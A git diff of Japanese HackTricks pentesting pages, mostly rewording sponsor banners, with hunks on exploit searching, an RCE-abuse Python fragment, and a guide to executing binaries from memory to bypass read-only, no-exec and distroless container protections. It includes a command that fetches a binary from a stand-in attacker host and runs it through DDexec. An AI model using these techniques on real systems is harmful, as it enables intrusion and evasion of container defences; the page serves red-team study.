<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -30,7 +30,7 @@ HackTricksをサポートする他の方法:
|
|||
- [**基本的なPythonウェブリクエスト構文**](web-requests.md)
|
||||
- [**基本的なPython構文とライブラリ**](basic-python.md)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -48,6 +48,6 @@ HackTricksをサポートする他の方法:
|
|||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する
|
||||
- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する
|
||||
- **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出**する
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する
|
||||
- **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -39,7 +39,7 @@ is fixed running
|
|||
pip3 install wheel
|
||||
inside the virtual environment
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -49,7 +49,7 @@ inside the virtual environment
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
|
|
|
@ -2,22 +2,22 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**してください。
|
||||
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見してください
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローしてください。
|
||||
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** してください。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -90,7 +90,7 @@ return resp.json()
|
|||
def get_random_string(guid, path):
|
||||
return ''.join(random.choice(string.ascii_letters) for i in range(10))
|
||||
```
|
||||
## PythonコマンドでRCEを悪用
|
||||
## Pythonコマンドを使用してRCEを悪用
|
||||
```python
|
||||
import requests
|
||||
import re
|
||||
|
@ -117,24 +117,24 @@ return 1
|
|||
term = Terminal()
|
||||
term.cmdloop()
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**してください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,12 +9,12 @@ HackTricks をサポートする他の方法:
|
|||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する
|
||||
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -26,11 +26,11 @@ HackTricks をサポートする他の方法:
|
|||
|
||||
常に "google" や他の検索エンジンで検索してください: **\<service\_name> \[version] exploit**
|
||||
|
||||
また、[https://exploits.shodan.io/](https://exploits.shodan.io)の **shodan** **exploit search** も試してみてください。
|
||||
また、[https://exploits.shodan.io/](https://exploits.shodan.io)の**shodan exploit search**を試してみてください。
|
||||
|
||||
### Searchsploit
|
||||
|
||||
**exploitdbからコンソールでサービスの脆弱性を検索**するために便利です。
|
||||
**コンソールからexploitdbのサービスの脆弱性を検索**するために便利です。
|
||||
```bash
|
||||
#Searchsploit tricks
|
||||
searchsploit "linux Kernel" #Example
|
||||
|
@ -42,7 +42,7 @@ searchsploit --nmap file.xml #Search vulns inside an nmap xml result
|
|||
```
|
||||
### Pompem
|
||||
|
||||
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem)は、エクスプロイトを検索するための別のツールです。
|
||||
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem)は、脆弱性を検索するための別のツールです。
|
||||
|
||||
### MSF-Search
|
||||
```bash
|
||||
|
@ -60,7 +60,7 @@ vulners データベースでも検索できます: [https://vulners.com/](https
|
|||
|
||||
これは他のデータベースで脆弱性を検索します: [https://sploitus.com/](https://sploitus.com)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** してください。\
|
||||
|
@ -78,6 +78,6 @@ HackTricks をサポートする他の方法:
|
|||
* [**公式PEASS & HackTricksのグッズ**](https://peass.creator-spring.com) を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください
|
||||
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローしてください。
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出することで、あなたのハッキングテクニックを共有してください。
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) の github リポジトリに PR を提出することで、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,20 +1,20 @@
|
|||
# ファイルシステム保護のバイパス:読み取り専用 / 実行不可 / Distroless
|
||||
# ファイルシステムの保護をバイパスする:読み取り専用 / 実行不可 / Distroless
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **Hackingトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
- **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする。
|
||||
- **Hackingトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中**です!(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
|
@ -29,7 +29,7 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
## 読み取り専用 / 実行不可シナリオ
|
||||
|
||||
**読み取り専用(ro)ファイルシステム保護**が**Linuxマシン**で**より一般的**になってきており、特にコンテナで見つけることができます。これは、roファイルシステムでコンテナを実行するのは、`securitycontext`で**`readOnlyRootFilesystem: true`**を設定するだけで簡単だからです:
|
||||
**読み取り専用(ro)ファイルシステム保護**が **Linuxマシン** で **より一般的**になってきており、特にコンテナで見つけることができます。これは、`securitycontext` で **`readOnlyRootFilesystem: true`** を設定するだけで、roファイルシステムでコンテナを実行するのが簡単であるためです:
|
||||
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
|
@ -45,40 +45,42 @@ securityContext:
|
|||
command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
```
|
||||
|
||||
しかし、ファイルシステムがroとしてマウントされていても、**`/dev/shm`**は書き込み可能のままであるため、ディスクに書き込むことができないというのは偽物です。ただし、このフォルダは**実行不可保護**でマウントされるため、ここにバイナリをダウンロードしても**実行できません**。
|
||||
しかし、ファイルシステムがroとしてマウントされていても、**`/dev/shm`** は書き込み可能のままであるため、ディスクに書き込むことができないということはありません。ただし、このフォルダは **実行不可保護** でマウントされるため、ここにバイナリをダウンロードしても **実行できません**。
|
||||
|
||||
{% hint style="warning" %}
|
||||
レッドチームの観点からすると、これはバイナリ(バックドアや`kubectl`のような列挙ツールなど)を**ダウンロードして実行するのが複雑**になります。
|
||||
レッドチームの観点からすると、これは **バックドアや `kubectl` のようなシステムにないバイナリ** をダウンロードして実行することを **複雑に** します。
|
||||
{% endhint %}
|
||||
|
||||
## 最も簡単なバイパス:スクリプト
|
||||
|
||||
バイナリと言及しましたが、インタプリタがマシン内にある限り、**シェルスクリプト**(`sh`が存在する場合)や**Pythonスクリプト**(`python`がインストールされている場合)など、**任意のスクリプトを実行**できます。
|
||||
バイナリを言及しましたが、インタプリタがマシン内にある限り、**シェルスクリプト**(`sh` が存在する場合)や **Pythonスクリプト**(`python` がインストールされている場合)など、**スクリプトを実行できます**。
|
||||
|
||||
ただし、これだけではバイナリバックドアや他の実行する必要があるバイナリツールを実行するのには十分ではありません。
|
||||
ただし、これだけでは、バイナリバックドアや実行する必要がある他のバイナリツールを実行するのに十分ではありません。
|
||||
|
||||
## メモリバイパス
|
||||
|
||||
ファイルシステムがそれを許可していない場合にバイナリを実行したい場合、**メモリから実行**するのが最適です。なぜなら、**その保護はそこには適用されない**からです。
|
||||
ファイルシステムがそれを許可していない場合にバイナリを実行したい場合、**メモリから実行する**のが最善です。なぜなら、**その保護はそこには適用されない**からです。
|
||||
|
||||
### FD + execシステムコールバイパス
|
||||
### FD + exec シスコールバイパス
|
||||
|
||||
**Python**、**Perl**、**Ruby**などの強力なスクリプトエンジンがマシン内にある場合、メモリから実行するためにバイナリをダウンロードし、メモリファイルディスクリプタに保存し(`create_memfd`システムコール)、これらの保護によって保護されないため、**fdをファイルとして実行する**ように**`exec`システムコール**を呼び出すことができます。
|
||||
**Python**、**Perl**、または **Ruby** などの強力なスクリプトエンジンがマシン内にある場合、メモリから実行するためにバイナリをダウンロードし、メモリファイルディスクリプタに保存し(`create_memfd` シスコール)、これらの保護によって保護されないため、**fdをファイルとして実行する** **`exec` シスコール** を呼び出すことができます。
|
||||
|
||||
これには、プロジェクト[**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)を簡単に使用できます。バイナリを渡すと、バイナリが**デコードおよび解凍された**スクリプトが生成され、`create_memfd`システムコールを呼び出して作成された**fd**にバイナリを格納し、それを実行する**`exec`システムコール**への呼び出し手順が含まれます。
|
||||
これには、簡単に [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) プロジェクトを使用できます。バイナリを渡すと、バイナリが **b64エンコード** された **スクリプト** が生成され、`create_memfd` シスコールを呼び出して **fd** に保存され、**実行するための exec シスコール** が呼び出されます。
|
||||
|
||||
{% hint style="warning" %}
|
||||
これは、PHPやNodeなどの他のスクリプト言語では、スクリプトから**生のシステムコール**を呼び出す**デフォルトの方法**がないため、`create_memfd`を呼び出して**バイナリを格納するためのメモリfd**を作成することができないため、これは機能しません。
|
||||
これは、PHPやNodeなどの他のスクリプト言語では **スクリプトから生のシスコールを呼び出すデフォルトの方法** がないため、`create_memfd` を呼び出して **バイナリを保存するためのメモリfd** を作成することができないため、これは機能しません。
|
||||
|
||||
さらに、`/dev/shm`内のファイルで**通常のfd**を作成しても、**実行不可保護**が適用されるため、実行できません。
|
||||
さらに、`/dev/shm` 内のファイルで **通常のfd** を作成しても、**実行不可保護** が適用されるため、実行できません。
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec)は、**`/proc/self/mem`**を上書きすることで、**自分自身のプロセスのメモリを変更**する技術であり、**プロセスが実行しているアセンブリコード**を制御することで、**シェルコード**を書き込み、プロセスを**任意のコードを実行**するように「変異」させることができます。
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) は、自分自身のプロセスの **`/proc/self/mem`** を上書きすることで、**プロセスが実行しているアセンブリコードを制御**することができる技術です。
|
||||
|
||||
したがって、プロセスによって実行される **シェルコード** を書き込み、プロセスを **変異** させて **任意のコードを実行** することができます。
|
||||
|
||||
{% hint style="success" %}
|
||||
**DDexec / EverythingExec**を使用すると、**自分自身のメモリから**自分自身の**シェルコード**または**任意のバイナリ**を**ロードして実行**できます。
|
||||
**DDexec / EverythingExec** を使用すると、自分自身の **シェルコード** または **メモリ** から **任意のバイナリ** を **ロードして実行** できます。
|
||||
{% endhint %}
|
||||
```bash
|
||||
# Basic example
|
||||
|
@ -88,7 +90,7 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
|
|||
|
||||
[**Memexec**](https://github.com/arget13/memexec)はDDexecの自然な次のステップです。これは**DDexecシェルコードをデーモン化**したもので、異なるバイナリを実行したいときには、DDexecを再起動する必要はありません。代わりに、DDexec技術を使用してmemexecシェルコードを実行し、**このデーモンと通信して新しいバイナリをロードして実行**できます。
|
||||
|
||||
**memexecを使用してPHPリバースシェルからバイナリを実行する例**は、[https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php)で見つけることができます。
|
||||
**memexecを使用してPHPリバースシェルからバイナリを実行する例**は[https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php)で見つけることができます。
|
||||
|
||||
### Memdlopen
|
||||
|
||||
|
@ -104,7 +106,7 @@ Distrolessコンテナの目標は、**不要なコンポーネントを排除**
|
|||
|
||||
### リバースシェル
|
||||
|
||||
Distrolessコンテナでは、通常のシェルを取得するための`sh`や`bash`などが**見つからない**かもしれません。`ls`、`whoami`、`id`などのバイナリも見つけることはできません...通常システムで実行するものはすべて見つかりません。
|
||||
Distrolessコンテナでは、通常のシェルを取得するための`sh`や`bash`などが**見つからない**かもしれません。また、`ls`、`whoami`、`id`などのバイナリも見つかりません。これらは通常、システムで実行するものです。
|
||||
|
||||
{% hint style="warning" %}
|
||||
したがって、通常行うような**リバースシェル**の取得や**システムの列挙**はできません。
|
||||
|
@ -116,10 +118,10 @@ Distrolessコンテナでは、通常のシェルを取得するための`sh`や
|
|||
スクリプト言語を使用することで、言語の機能を利用して**システムを列挙**することができます。
|
||||
{% endhint %}
|
||||
|
||||
**`read-only/no-exec`**の保護がない場合、リバースシェルを悪用してファイルシステムに**バイナリを書き込み**、それらを**実行**することができます。
|
||||
**`read-only/no-exec`**の保護がない場合、リバースシェルを悪用して**ファイルシステムにバイナリを書き込み**、それらを**実行**することができます。
|
||||
|
||||
{% hint style="success" %}
|
||||
ただし、この種のコンテナでは通常これらの保護が存在しますが、**以前のメモリ実行技術を使用してそれらをバイパス**することができます。
|
||||
ただし、この種のコンテナでは通常、これらの保護が存在しますが、**以前のメモリ実行技術を使用してそれらをバイパス**することができます。
|
||||
{% endhint %}
|
||||
|
||||
**RCE脆弱性を悪用してスクリプト言語のリバースシェルを取得**し、[**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)でメモリからバイナリを実行する方法の**例**を見つけることができます。
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する
|
||||
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
